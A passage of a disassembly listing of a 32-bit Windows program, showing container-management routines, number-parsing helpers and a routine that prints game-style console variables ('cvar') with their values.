T I N E ======================================= ; Attributes: noreturn sub_40AAB0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAB0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AAD0 proc near ; CODE XREF: sub_4013D9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AB9B mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AB03 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AB05 ; --------------------------------------------------------------------------- loc_40AB03: ; CODE XREF: sub_40AAD0+26j mov ebp, edi loc_40AB05: ; CODE XREF: sub_40AAD0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DE8 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402194 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB9B: ; CODE XREF: sub_40AAD0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40ABF9 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402194 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E8D mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j test edi, edi jbe short loc_40AC33 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020CC mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E8D mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40AAD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACC0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40ACF2 push edi mov edi, [esp+10h+arg_8] loc_40ACD6: ; CODE XREF: sub_40ACC0+27j push esi push edi mov ecx, ebx call sub_40213F add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ACD6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ACC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AD37 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AD26: ; CODE XREF: sub_40AD10+23j push ebx push esi mov ecx, ebp call sub_40213F add esi, 4 dec edi jnz short loc_40AD26 pop esi pop ebx loc_40AD37: ; CODE XREF: sub_40AD10+Aj pop edi pop ebp retn 0Ch sub_40AD10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD50 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014D8 sub_40AD50 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401E01 add esp, 8 retn 8 sub_40AD80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ADCD mov edx, [esp+arg_8] push esi loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ADC1 pop esi locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj retn sub_40ADB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADE0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AE02 mov eax, [esp+arg_8] push esi loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40ADF1 pop esi retn ; --------------------------------------------------------------------------- loc_40AE02: ; CODE XREF: sub_40ADE0+Aj mov eax, [esp+arg_8] retn sub_40ADE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AE40 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AE4A xor eax, eax loc_40AE4A: ; CODE XREF: sub_40AE40+6j shl eax, 2 push eax call sub_437AEA sub_40AE40 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE70 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40AE8B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40AE8B: ; CODE XREF: sub_40AE70+11j retn sub_40AE70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401E88j mov eax, ecx mov dword ptr [eax], offset off_43F014 retn sub_40AEA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AEC0: ; CODE XREF: ___:00401721j ; ___:loc_402045j push esi mov esi, ecx call sub_40204F test byte ptr [esp+8], 1 jz short loc_40AED8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40AED8: ; CODE XREF: ___:0040AECDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEF0 proc near ; CODE XREF: sub_40204Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AEF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43F014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_40174E loc_40AF21: ; DATA XREF: sub_40AF32o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AEF0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF32 proc near ; DATA XREF: ___:004401C4o mov eax, offset loc_40AF21 retn sub_40AF32 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF60 proc near ; CODE XREF: sub_4014C4j call sub_401712 jmp sub_4017BC sub_40AF60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF80 proc near ; CODE XREF: sub_401B2Cj call sub_401627 jmp sub_4017CB sub_40AF80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AFA0 proc near ; CODE XREF: sub_4013DEj push esi mov esi, ecx push esi push offset sub_401429 lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AFC2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AFC2: ; CODE XREF: sub_40AFA0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AFA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AFE0: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B007 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_401767 mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40B007: ; CODE XREF: ___:0040AFE9j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B020 proc near ; CODE XREF: sub_40174Ej push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B03C mov eax, [esi+0Ch] push 0Fh push eax call sub_401762 add esp, 8 mov byte ptr [esi+10h], 0 loc_40B03C: ; CODE XREF: sub_40B020+8j pop esi retn sub_40B020 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B050: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B070 proc near ; CODE XREF: sub_401429j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40B070 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40B09E: ; DATA XREF: sub_40B0B1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40B070 endp ; =============== S U B R O U T I N E ======================================= sub_40B0B1 proc near ; DATA XREF: ___:00440224o mov eax, offset loc_40B09E retn sub_40B0B1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B0E0 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B122 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_4021B2 mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B122: ; CODE XREF: sub_40B0E0+Bj pop esi add esp, 8 retn sub_40B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B150 proc near ; CODE XREF: sub_401DE3j var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B172 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B172: ; CODE XREF: sub_40B150+6j pop ecx retn sub_40B150 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B190 proc near ; CODE XREF: sub_401A00j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B190 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401753 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401C08 sub_40B190 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43F020 call sub_401C03 mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B250 proc near ; CODE XREF: sub_401AFAj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43F020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401C03 mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_40155F sub_40B250 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B2F0 proc near ; CODE XREF: sub_4017F8j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401C03 push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40B2F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B470 proc near ; CODE XREF: sub_40181Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FDC mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FDC mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F50 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FDC lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401915 sub_40B470 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B510 proc near ; CODE XREF: sub_401B72j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401870 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401870 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401870 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40181B sub_40B510 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B600 proc near ; CODE XREF: sub_4019DDj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401546 add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40145B mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B681 mov edi, [esp+10h+arg_0] loc_40B646: ; CODE XREF: sub_40B600+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4021D0 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B68B call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C85 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B646 loc_40B681: ; CODE XREF: sub_40B600+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B600+60j call sub_401F78 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B6D0: ; CODE XREF: ___:00401460j push 0FFFFFFFFh push offset loc_439EF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401870 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019DD lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B760 proc near ; CODE XREF: sub_4015A0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015E1 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B7B1 mov byte ptr [esi+19h], 1 loc_40B7B1: ; CODE XREF: sub_40B760+4Bj pop esi retn 8 sub_40B760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B7E0 proc near ; CODE XREF: sub_401F50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015E1 mov ecx, esi call sub_4017EE push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B835 mov byte ptr [esi+19h], 1 loc_40B835: ; CODE XREF: sub_40B7E0+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B7E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: ___:00401D57j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017EE push eax call near ptr 77C1BF18h nop fld dword ptr [esp+10h] fcomp flt_43F024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B8C1 mov byte ptr [esi+19h], 1 loc_40B8C1: ; CODE XREF: ___:0040B8BBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8F0: ; CODE XREF: ___:00401CA8j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B920 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015E1 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B920: ; CODE XREF: ___:0040B8F8j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015E1 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B960: ; CODE XREF: ___:00401D7Fj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4447F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B990 mov byte ptr [esi+19h], 1 loc_40B990: ; CODE XREF: ___:0040B98Aj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B9B0: ; CODE XREF: ___:loc_401AE1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439F30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BAF2 lea ebx, [esi+69h] mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+6Ch] call sub_401546 add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_40145B mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BAEB loc_40BA56: ; CODE XREF: ___:0040BAE5j lea ecx, [esp+6Ch] inc edi call sub_401F78 mov ecx, [eax] add ecx, 33h call sub_4017EE push eax lea ecx, [esp+70h] call sub_401F78 mov ecx, [eax] call sub_4017EE push eax lea ecx, [esp+74h] call sub_401F78 mov ecx, [eax] add ecx, 1Eh call sub_4017EE push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 24h push 5DCh nop call near ptr 2850000h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C85 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40BA56 loc_40BAEB: ; CODE XREF: ___:0040BA50j mov al, 1 jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BAF2: ; CODE XREF: ___:0040B9E7j lea ecx, [ebp+32h] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BB85 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch jmp loc_40BC7A ; --------------------------------------------------------------------------- loc_40BB85: ; CODE XREF: ___:0040BB04j lea ecx, [ebp+60h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BC78 push offset asc_444600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr 